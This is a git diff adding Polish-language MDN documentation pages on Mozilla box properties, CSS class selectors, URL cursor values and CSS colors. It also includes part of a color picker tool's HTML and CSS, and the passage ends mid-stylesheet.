Pudełko wyrównuje linie bazowe zawartości (ustawiając tekst w kolejności). Ma zastosowanie tylko, gdy orientacja pudełka jest pozioma.
+
stretch
+
Pudełko rozciąga zawartość, zatem w pudełku nie ma dodatkowej przestrzeni.
+
+ +

Przykłady

+ +
hbox.example {
+	-moz-box-align: end; /* przenosi zawartość do dołu */
+}
+
+ +

Notatki

+ +

Krawędź pudełka określona jakostart dla celu wyrównania zależy od orientacji pudełka

+ + + + + + + + + + + + +
Poziomagórna
Pionowalewa
+ +

Krawędź przeciwna do początkowej jest określana jakoend

+ +

Jeśli wyrównanie jest ustawione przy użyciu atrybutu align elementu, wtedy styl jest ignorowany.

+ +

Zobacz także

+ +

CSS:-moz-box-orient, CSS:-moz-box-pack

diff --git a/files/pl/web/css/box-flex/index.html b/files/pl/web/css/box-flex/index.html new file mode 100644 index 0000000000..bd4f192a92 --- /dev/null +++ b/files/pl/web/css/box-flex/index.html @@ -0,0 +1,64 @@ +--- +title: '-moz-box-flex' +slug: Web/CSS/-moz-box-flex +tags: + - CSS + - Non-standard +translation_of: Web/CSS/box-flex +--- +

{{ CSSRef() }}

+ +

{{ warning("This is a property for controlling parts of the XUL box model.  It does not match either the old CSS Flexible Box Layout Module drafts for 'box-flex' (which were based on this property) or the behavior of '-webkit-box-flex' (which is based on those drafts).") }}

+ +

Podsumowanie

+ +

W aplikacjach opartych na Mozilli -moz-box-flex określa jak pudełko powiększa się, by wypełnić pudełko, które je zawiera, w kierunku układu zawierającego pudełka.

+ + + +

Składnia

+ +
-moz-box-flex:liczba
+
+ +

Wartości

+ +
+
0
+
Pudełko nie powiększa się.
+
> 0
+
Pudełko rozszerza się, by wypełnić proporcjonalną część dostępnej przestrzeni.
+
+ +

Przykłady

+ +
hbox.example {
+	-moz-box-flex: 1; /* take up some more space */
+}
+
+ +

Uwagi

+ +

Zawierające pudełko przydziela dodatkową dostępną przestrzeń proporcjonalnie do wartości rozciągania każdego elementu zawartości.

+ +

Elementy zawartości, które mają rozciąganie ustawione na zero, nie powiększają się.

+ +

Jeśli tylko jeden element zawartości ma niezerowe rozciąganie, wtedy powiększa się on do wypełnienia dostępnej wolnej przestrzeni.

+ +

Elementy zawartości, które mają takie samo rozciąganie, powiększają się o tą samą bezwzględną liczbę.

+ +

Jeśli wartość rozciąganie jest ustawiona przy użyciu atrybutu flex w elemencie, wtedy styl jest ignorowany.

+ +

Aby zrobić element XUL w zawierającym pudełku takich samych rozmiarów, ustaw atrybut equalsize zawierającego pudełka na wartość always. Ten atrybut nie ma odpowiadającej własności CSS.

+ +

Zobacz także

+ +

CSS:-moz-box-orient, CSS:-moz-box-pack

+ +
 
diff --git a/files/pl/web/css/box-orient/index.html b/files/pl/web/css/box-orient/index.html new file mode 100644 index 0000000000..5effdac347 --- /dev/null +++ b/files/pl/web/css/box-orient/index.html @@ -0,0 +1,54 @@ +--- +title: '-moz-box-orient' +slug: Web/CSS/-moz-box-orient +tags: + - CSS + - Non-standard +translation_of: Web/CSS/box-orient +--- +

{{ CSSRef() }}

+ +

{{ warning("This is a property of the original CSS Flexible Box Layout Module draft, and has been replaced in newer drafts.") }}

+ +

Podsumowanie

+ +

W aplikacjach opartych na Mozilli -moz-box-orient określa, czy pudełko rozkłada swoją zawartość poziomo czy pionowo.

+ +

Np. elementy XUL box i hbox domyślnie rozkładają swoją zawartość poziomo, zaś elementy XUL vbox domyślnie rozkładają swoją zawartość pionowo.

+ + + +

Składnia

+ +
-moz-box-orient: horizontal | vertical
+
+ +

Wartości

+ +
+
horizontal
+
Pudełko układa swoją zawartość w poziomie.
+
vertical
+
Pudełko układa swoją zawartość w pionie.
+
+ +

Przykłady

+ +
hbox.example {
+	-moz-box-orient: vertical; /* zmiana orientacji */
+}
+
+ +

Notatki

+ +

Jeśli orientacja jest ustawiona w elemencie przy użyciu atrybutu orient, wtedy styl jest ignorowany.

+ +

Zobacz także

+ +

CSS:direction, CSS:-moz-box-direction

diff --git a/files/pl/web/css/box-pack/index.html b/files/pl/web/css/box-pack/index.html new file mode 100644 index 0000000000..edbbe60856 --- /dev/null +++ b/files/pl/web/css/box-pack/index.html @@ -0,0 +1,82 @@ +--- +title: '-moz-box-pack' +slug: Web/CSS/-moz-box-pack +tags: + - CSS + - Non-standard +translation_of: Web/CSS/box-pack +--- +

{{ CSSRef() }}

+ +

{{warning("This is a property of the original CSS Flexible Box Layout Module standard which is being replaced by a new standard.")}}

+ +

Podsumowanie

+ +

W aplikacjach opartych na Mozilli -moz-box-pack określa jak pudełko wpakowuje swoją zawartość w kierunku swojego układu. Efekt tego jest widoczny tylko wtedy, gdy w pudełku jest dodatkowa wolna przestrzeń.

+ +

Kierunek układu zależy od orientacji elementu: poziomej lub pionowej.

+ + + +

Składnia

+ +
-moz-box-pack: start | center | end | justify
+
+ +

Wartości

+ +
+
start
+
Pudełko wpakowuje zawartość od początku, zostawiając dodatkową wolną przestrzeń na końcu.
+
center
+
Pudełko wpakowuje zawartość w środku, dzieląc dodatkową wolną przestrzeń pomiędzy początek i koniec.
+
end
+
Pudełko wpakowuje zawartość na końcu, zostawiając dodatkową wolną przestrzeń na początku.
+
justify
+
 ?
+
+ +

Przykłady

+ +
hbox.example {
+	-moz-box-pack: end; /* przesuwa zawartość na prawo */
+}
+
+ +

Notatki

+ +

Krawędź pudełka, określona jakostart dla celów wpakowywania, zależy od orientacji i kierunku pudełka.

+ + + + + + + + + + + + + + + + + + + +
 NormalnaOdwrócona
Poziomolewaprawa
Pionowogóradół
+ +

Krawędź przeciwna do początkowej jest określana jakoend.

+ +

Jeśli wpakowywanie jest ustawione w atrybucie pack elementu, wtedy styl jest ignorowany.

+ +

Zobacz także

+ +

CSS:-moz-box-orient, CSS:-moz-box-direction, CSS:-moz-box-align

diff --git a/files/pl/web/css/class_selectors/index.html b/files/pl/web/css/class_selectors/index.html new file mode 100644 index 0000000000..12f8d4f5c8 --- /dev/null +++ b/files/pl/web/css/class_selectors/index.html @@ -0,0 +1,86 @@ +--- +title: Selektor klasy +slug: Web/CSS/Selektor_klasy +tags: + - CSS + - Klasy + - Reference + - Selektory +translation_of: Web/CSS/Class_selectors +--- +
{{CSSRef("Selectors")}}
+ +
 
+ +
Selektor klasy wyszukuje każdy element z atrybutem {{htmlattrxref("class")}} w dokumencie HTML. Atrybut {{htmlattrxref("class")}} jest zdefiniowany jako lista przedmiotów oddzielonych ze sobą spacją, jeden z nich musi zgadzać się z podaną klasą w selektorze (CSS).
+ +
 
+ +

Składnia

+ +
.nazwaklasy { właściwości stylu }
+ +

Jest to równoważne z {{Cssxref("Attribute_selectors", "attribute selector")}}:

+ +
[class~=nazwaklasy] { właściwości stylu }
+ +

Przykład

+ +

CSS

+ +
span.classy {
+  background-color: DodgerBlue;
+}
+
+ +

HTML

+ +
<span class="classy">Przykładowy tekst.</span>
+<span>Kolejny przykładowy tekst.</span>
+
+ +

Specyfikacje

+ + + +

Kompatybilność z przeglądarkami

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PrzeglądarkaWsparcie
ChromeTak
EdgeTak
FirefoxTak
Internet ExplorerTak
OperaTak
SafariTak
+ +

 

diff --git a/files/pl/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/pl/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html new file mode 100644 index 0000000000..f6e786ee52 --- /dev/null +++ b/files/pl/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html @@ -0,0 +1,41 @@ +--- +title: Użycie wartości URL dla własności cursor +slug: Web/CSS/cursor/Użycie_wartości_URL_dla_własności_cursor +tags: + - CSS + - CSS_2.1 + - Programowanie_WWW + - Programowanie_dla_wielu_przeglądarek + - Wszystkie_kategorie +translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property +--- +

 

+

Gecko 1.8 (Firefox 1.5, SeaMonkey 1.0) wspiera wartości URL dla własności cursor CSS 2/2.1. To pozwala używać zewnętrzne obrazki jako kursory myszy — można użyć każdego formatu wspieranego przez Gecko.

+

Składnia

+

Składnia dla tej własności:

+
cursor: [<url>,]* słowo_kluczowe;
+
+

To oznacza, że można podać zero lub więcej adresów URL (oddzielonych przecinkiem), a na końcu musi pojawić się jedno ze słów kluczowych zdefiniowanych w specyfikacji CSS, takie jak auto czy pointer.

+

Na przykład, taka wartość jest dozwolona:

+
cursor: url(foo.cur), url(http://www.example.com/bar.gif), auto;
+
+

Najpierw nastąpi próba pobrania pliku foo.cur. Jeżeli ten plik nie istnieje, lub jest nieprawidłowy z jakiegoś powodu, nastąpi próba pobrania bar.gif, a jeśli to się nie uda, zostanie użyta wartość auto.

+

Wsparcie dla składni CSS3 dla wartości własności cursor zostało dodane w Gecko 1.8beta3 (Deer Partk Alpha 2); zatem działa ono w Firefoksie 1.5. Pozwala to na określanie punktu wiązania kursora, który musi być wewnątrz wymiarów obrazka kursora; koordynaty na zewnątrz obrazka będą przybliżane do krawędzi (n.p. ujemna wartość będzie interpretowana jako 0, a wartości wykraczające poza wymiary obrazka będą przycinane do najbliższego piksela w obrazku). Jeśli nie zostaną podane, dla plików CUR i XBM wartości zostaną pobrane z plików, a dla pozostałych zostanie ustalony lewy górny róg obrazka. Przykładem składni CSS3 jest:

+
cursor: url(foo.png) 4 12, auto;
+
+

Pierwsza liczba to wartość x, a drugi y. W tym przypadku punkt wiązania zostanie ustawiony w pikselu (4,12) licząc od lewego górnego rogu (0,0).

+

Ograniczenia

+

Można używać wszystkich formatów obrazków wspieranych przez Gecko. To oznacza, że możesz użyć BMP, JPG, CUR, GIF, itp. Jednak ANI nie jest wspierane. I nawet, jeżeli zostanie podany animowany GIF, kursor nie będzie animowany. To ograniczenie zostanie usunięte w przyszłych wersjach.

+

Gecko, samo w sobie, nie tworzy żadnych ograniczeń, co do rozmiaru kursora. Jednak powinieneś ograniczyć obrazek do 32x32 dla maksymalnej kompatybilności z różnymi systemami operacyjnymi. W szczególności kursory większe, niż podany rozmiar nie będą działały na Windows 9x (95, 98, ME).

+

Przezroczyste kursory nie są wspierane na systemie Windows w wersjach wcześniejszych niż XP. To ograniczenie systemu operacyjnego. Przezroczystość działa na pozostałych platformach.

+

Tylko wydania Mozilli na platformy Windows, OS/2 i Linux (z GTK+ 2.4 lub nowszym) wspierają wartości URL dla kursorów. Wsparcie dla innych platform może zostać dodane w przyszłości (Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, Gtk 2.0/2.2: {{ Bug(308536) }})

+

Kompatybilność z innymi przeglądarkami

+

Microsoft Internet Explorer także wspiera wartości URI dla własności cursor. Jednak wspiera wyłącznie formaty CUR i ANI.

+

Jest także znacznie mniej restrykcyjny w zakresie składni. To oznacza, że wartości takie jak:

+
cursor: url(foo.cur);
+
+

lub:

+
cursor: url(foo.cur), pointer, url(bar.cur), auto;
+
+

będą działały w MSIE, ale nie będą w Gecko. Dla kompatybilności z Gecko i zgodności ze specyfikacja CSS, zawsze na początku należy podać URI, oraz użyć dokładnie jednego słowa kluczowego na końcu.

+

 

diff --git a/files/pl/web/css/css_color/index.html b/files/pl/web/css/css_color/index.html new file mode 100644 index 0000000000..93bc7ca016 --- /dev/null +++ b/files/pl/web/css/css_color/index.html @@ -0,0 +1,120 @@ +--- +title: CSS Colors +slug: Web/CSS/CSS_Colors +tags: + - CSS + - CSS Colors + - NeedsTranslation + - Overview + - Reference + - TopicStub +translation_of: Web/CSS/CSS_Color +translation_of_original: Web/CSS/CSS_Colors +--- +
{{CSSRef}}
+ +

CSS Colors is a module of CSS that deals with colors, color types and transparency.

+ +

Reference

+ +

Properties

+ +
+ +
+ +

CSS Data Types

+ +

{{cssxref("<color>")}}

+ +

Guides

+ +

None.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Colors')}}{{Spec2('CSS3 Colors')}} 
{{SpecName('CSS2.1', 'colors.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1")}}3.03.51.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile("1")}}6.06.01.0
+
+ +

See also

+ + diff --git a/files/pl/web/css/css_colors/color_picker_tool/index.html b/files/pl/web/css/css_colors/color_picker_tool/index.html new file mode 100644 index 0000000000..7907144f10 --- /dev/null +++ b/files/pl/web/css/css_colors/color_picker_tool/index.html @@ -0,0 +1,3241 @@ +--- +title: Narzędzie doboru kolorów +slug: Web/CSS/CSS_Colors/Narzedzie_doboru_kolorow +tags: + - CSS + - CSS Kolory + - HTML Kolory + - Narzędzia + - kolor + - kolory + - narzędzie + - narzędzie do wybierania kolorów + - wybieranie kolorów +translation_of: Web/CSS/CSS_Colors/Color_picker_tool +--- +
+

ColorPicker tool

+ +

HTML Content

+ +
    <div id="container">
+        <div id="palette" class="block">
+            <div id="color-palette"></div>
+            <div id="color-info">
+                <div class="title"> CSS Color </div>
+            </div>
+        </div>
+
+        <div id="picker" class="block">
+            <div class="ui-color-picker" data-topic="picker" data-mode="HSL"></div>
+            <div id="picker-samples" sample-id="master"></div>
+            <div id="controls">
+                <div id="delete">
+                    <div id="trash-can"></div>
+                </div>
+                <div id="void-sample" class="icon"></div>
+            </div>
+        </div>
+
+        <div id="canvas" data-tutorial="drop">
+            <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"></div>
+        </div>
+    </div>
+
+
+ +

CSS Content

+ +
/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch > * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 30%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property > * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
+	line-height: 50px;
